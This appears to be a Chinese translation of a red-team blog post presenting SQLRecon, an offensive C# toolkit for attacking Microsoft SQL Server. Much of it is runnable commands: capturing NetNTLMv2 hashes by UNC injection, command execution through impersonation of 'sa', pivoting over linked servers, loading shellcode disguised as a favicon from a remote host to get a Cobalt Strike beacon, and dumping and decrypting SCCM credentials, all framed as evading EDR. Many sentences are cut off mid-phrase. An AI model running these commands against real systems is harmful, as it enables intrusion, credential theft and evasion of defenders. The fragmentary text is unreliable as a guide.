在我的职业生涯中,我有幸能一睹全球某些大型组织的运作内幕。根据我的经验,大多数垂直行业都依赖于企业级 Windows 网络。事实上,我见过的去中心化的零信任网络、企业级 Linux、macOS 网络或 Active Directory 替代方案 (FreeIPA),一只手就能数得过来。
当我浏览这些大型且往往很复杂的企业网络时,经常会发现 Microsoft SQL Server,它们通常是为支持某一业务功能而部署的。对于不熟悉 SQL Server 的读者来说,简单来说就是:它是一种关系数据库软件,且通常安装在 Windows 服务器上。SQL Server 的主要用途是存储数据并向应用程序或用户提供数据。
本博客文章将回顾 SQL Server 带来的攻击面,以及如何使用 X-Force Red 的工具来滥用错误配置和漏洞
SQL Server 中的漏洞和错误配置已有详细记录。虽然这些弱点似乎一直存在,但不知何故,继续强化 SQL Server 仍然常会被防御团队忽视。我主要是指加固底层配置并防止对服务的不当访问。
造成此监督的一个合理解释是,组织需要优先考虑和解决更大的风险。因此,强化 SQL Server 的工作被搁置一旁,因为修补生产数据库配置可能会导致可用性问题,而此问题可能会转化为运营问题,从而最终影响企业生产力。
我在企业网络中发现的最常见的错误配置之一是,凡经过身份验证的域对象均可作为低权限帐户连接到 SQL 服务。这只要求提供有效的域上下文即可。换言之,便是能提供域用户或域计算机帐户的有效令牌。
举个例子,如果普通业务用户的工作站被攻破,且存在一条通往配置错误的 SQL Server 的网络路由,对手就可能会:
这些还只是对手在域环境中评估配置错误的 SQL Server 时可能取得部分示例成果。SQL Server 带来的攻击面始终取决于您所面临的环境和配置。
近年来,红队操作员可谓是如获至宝,因为他们可充分利用各种 Active Directory 滥用手段来提升企业 Microsoft 网络中的权限。然而,随着防御团队开始掌握缓解这些弱点的方法,通过滥用 Active Directory 来提升权限的途径自然而然就会消亡。
尽管如此,我们还是继续前进,沿着众所周知的攻击清单前进、乐观地寻找升级路径,从而帮助我们实现目标。我不太想承认,很长一段时间里,攻击 SQL Server 对我来说优先级很低。相反,我会选择优先考虑共享存储空间、内部 Web 应用程序、DevOps 工具或云基础设施等内容。通过这篇文章您大概就能明白我的意思……
2022 年的某个时候,我正在执行一项任务,而在用尽所有首选的升级路径后,我陷入了僵局。这主要是因为环境异常坚固。至少,在我发现一个大型 SQL Server 服务器场之前,我是这么想的,那里肯定存在配置错误或漏洞。
当时我并不知道,写完这篇博客文章后我才发现,Kaspersky 发现使用 SQL Server 的重复攻击在 2022 年上升了 56%。这是一个惊人的数字。
作为红队操作员,我经常使用命令与控制 (C2) 框架与客户网络中已被我攻破的系统进行交互。我们有幸与之合作的客户通常拥有成熟的网络安全计划、能力出众的防御团队以及现代化的安全控制措施,例如端点检测和响应 (EDR) 解决方案。
多年来,已开发出多种工具来攻击 SQL Server。在我试笔的日子里,我最后总能找到的是
EDR 解决方案可以说是一个强大的对手,因为它们在检测专为进攻性安全而设计的恶意开源工具(尤其是那些依赖 PowerShell 的工具)方面做得非常出色。这并不是要忽视 PowerShell 开发后工具,它们是有自己的用途,但不是为了解决我在所处环境中面临的问题而开发的。
我在任务过程中遇到的问题是,我需要找到一种方法连接 Microsoft SQL Server,并开始查询它们是否存在错误配置或漏洞。然而,使用任何现有且依赖于 PowerShell 的 SQL Server 开发工具,都必然会被防御团队发现。造成此情况的原因很多,我不会详细说明,但由于 AMSI、受限语言模式和各种日志记录样式等安全功能,PowerShell 并不是进行开发后攻击的理想工具。当 EDR 解决方案以及其他日志记录与监控控制措施到位时,此情况只会进一步加剧。
作为替代方案,红队操作员通常选择 C# 作为开发后期工具的语言,因为它提供了一种与 .NET 框架和 Windows API 进行交互的简便方法。
我绝算不上是 C# 或 .NET 开发人员,但我的知识足以编写工具来解决我面临的问题。队列 ,它是一款 C# SQL 工具包,专为进攻性侦察和后期开发而设计。
身份验证提供程序
枚举模块
命令执行、水平运动和权限提升
运营安全
其他
有关每种技术的详细使用信息,请参阅维基。
为了对即将到来的演示做好准备,我将在 Jeff Smith 的受感染 Windows 10 工作站
Jeff 的工作站有到通往 3 个 SQL Server 的网络路由,每台 SQL Server 均运行不同的版本:2016、2019 与 2022 版。
SQL 链接 已配置于相关系统之间
此外, Active Directory Services (ADSI) 链接 已建立于相关系统之间
最后,
图 1:网络配置
此外,我将利用 Cobalt Strike(一种流行的指挥与控制框架)在 Jeff 的受感染工作站上执行开发后任务
图 2:发出 whoami 命令
撰写本文时,SQLRecon 域中,为几组不同的帐户设置了 SPN,如以下屏幕截图所示。
SQLRecon.exe /e:SqlSpns /d:kawalabs.local
图 3:通过 SPN 收集发现 SQL Server
该
SQLRecon.exe /a:WinToken /h:SQL02 /m:info
图 4:获取有关 SQL02 的信息
特别感谢 Daniel Duggan (@_RastaMouse) 对枚举模块的贡献
标准模块会针对单个 SQL Server 实例执行。
在以下示例中,我会使用
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami
图 5:枚举 的 SQL 权限
默认情况下,
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases
图 6:枚举 上的数据库
您可使用 /
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"
图 7:从 中的
说道某些更有趣的模块,
SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects
图 8:UNC 路径注入
在以下屏幕截图中,我们可看到连接是由
图 9:获取 的 NetNTLMv2 哈希值
SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe
图 10:演示如何通过防护措施阻止命令执行
如上图所示,系统遇到了执行防护措施,并收到一条错误消息,其中表明
SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp
图 11:另一个防护措施的演示,即权限不足会导致无法执行命令
正如预期的那样,低权限
SQL 模拟是一种特殊权限,它本质上允许用户或团队在其他用户的许可以及自身权限下进行操作。以下屏幕截图取自
图 12:
SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate
如以下屏幕截图所示,
图 13:枚举可对 模拟的帐户
为了演示另一个命令执行模块,
模拟模块前面始终带有字母
a:WinToken /h:SQL02 /i:sa /m:iEnableOle
图 14:使用模拟功能来启用 OLE 自动化程序
由于已对 启用 OLE 自动化程序
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"
图 15:使用 PowerShell 列出远程主机上的目录
如以上屏幕截图所示,系统会随机生成一个 OLE 对象和方法,然后执行恶意命令,最后销毁 OLE 对象。此举是故意为之,因为我们不想留下我们操作的任何证据。
在以下屏幕截图中,我们可看到连接由
图 16:获取 NetNTLMv2 哈希值
以下示例演示了如何使用模拟功能来执行
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist
图 17:启用
将配置恢复到它们的原始状态始终是一种好的做法。
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp
图 18:禁用 OLE 自动化程序和
图 19:
配置从一个 SQL Server 实例到另一个 SQL Server 实例的链接通常需要一组特权凭据来建立并绑定链接。此操作对对手有利,因为它允许在建立连接的帐户的上下文中对链接的 SQL Server 执行命令。另一个考虑因素是:链接服务器可能会与对手操作的网络分隔开来。这可能会提供穿越分段边界并进入更高安全要求的网络区域的机会。
SQLRecon.exe /a:WinToken /h:SQL02 /m:links
图 20:枚举针对 的链接 SQL Server
链接模块总是以字母
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami
图 21:枚举我们可对
如以上屏幕截图所示,我们的操作环境为
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr
图 23:
如果您有兴趣了解有关自定义 SQL Server CLR 兼容 .NET 程序集的更多信息,请访问 Clr 部分(位于
在以下演示中,我将
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode
图 24:在 上下文中获取 Cobalt Strike 信标
当然,前一示例要求
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode
图 25:在特定上下文中获取 Cobalt Strike 信标
图 26:
配置从 SQL Server 实例到 Active Directory 域控制器的 ADSI 链接不一定需要特权凭据。然而,在实际运营中,我见过未应用最小特权原则的案例。
在以下示例中,我会使用
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks
图 27:枚举来自 且针对
由于我们已确认存在针对 的 ADSI 链接
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103
图 28:双链接 ADSI 凭据收集攻击
从现在开始,我会将 ECM 和 SCCM 同时简称为 SCCM。
在以下示例中,我会使用数据库模块来枚举
SQLRecon.exe /a:WinToken /h:MECM01 /m:databases
图 29:枚举 上的数据库
如以上屏幕截图所示,
SCCM 模块始终以字母
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
图 30:枚举所有可通过 SQL Server 数据库登录 SCCM 的用户
也可使用 枚举在 SCCM 中配置的任务
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
图 31:通过 SCCM SQL Server 数据库枚举在 SCCM 中配置的任务
SCCM 通常需要保管凭据,而这些凭据可用于对环境中的系统或资源进行身份验证,以便部署软件包或执行 SCCM 提供的任何其他各种操作。通过使用
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials
图 32:通过 SCCM SQL Server 数据库获取保管凭据
在以上屏幕截图中,我们可看到一个凭据已被保管,而它对应于
通过使用 Adam Chester 的 (@_xpn_) 逻辑,可解密 SCCM 保管凭据并获取保管帐户的明文密码。此操作确实需要 SCCM 服务器的本地管理员权限。在以下屏幕截图中,我会使用
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials
图 33:解密保管的 SCCM 凭据
应考虑在网络层面实施以下安全控制措施。
此环境中的工作站和服务器。
针对 SQL Server 的攻击在当今网络安全态势下依旧应引起重视。攻击者会不断改进其规避防御控制措施的技术,而在此过程中,他们会越来越多地利用辅助服务,如 SQL Server。此类攻击已变得更为复杂和隐蔽,且往往采用不太常见的技术来绕过传统的安全措施。
通过滥用 SQL Server,对手可未经授权访问敏感数据、操控数据库,甚至还可破坏整个系统。此类攻击的后果可能十分严重,其中包括导致数据泄露、经济损失和组织声誉受损。
为降低此类攻击的风险,组织必须审查其 SQL Server 配置并采用最佳安全实践。此外,组织应投资于可提供实时监控、异常检测与行为分析功能的安全解决方案。这些解决方案有助于更有效地检测和响应攻击,从而最大限度地减少对关键数据和系统的潜在影响。通过采取主动措施保护 SQL Server 环境,组织可显著降低成为这些攻击受害者的风险,并保护其宝贵的数据资产。
有关最新稳定版本的
如果您要参加拉斯维加斯黑帽大会并有兴趣了解更多信息,则可参加我的会议:利用 SQLRecon 滥用 Microsoft SQL Server(举行时间为 8 月 10 日星期四,下午 1:00(太平洋时间))。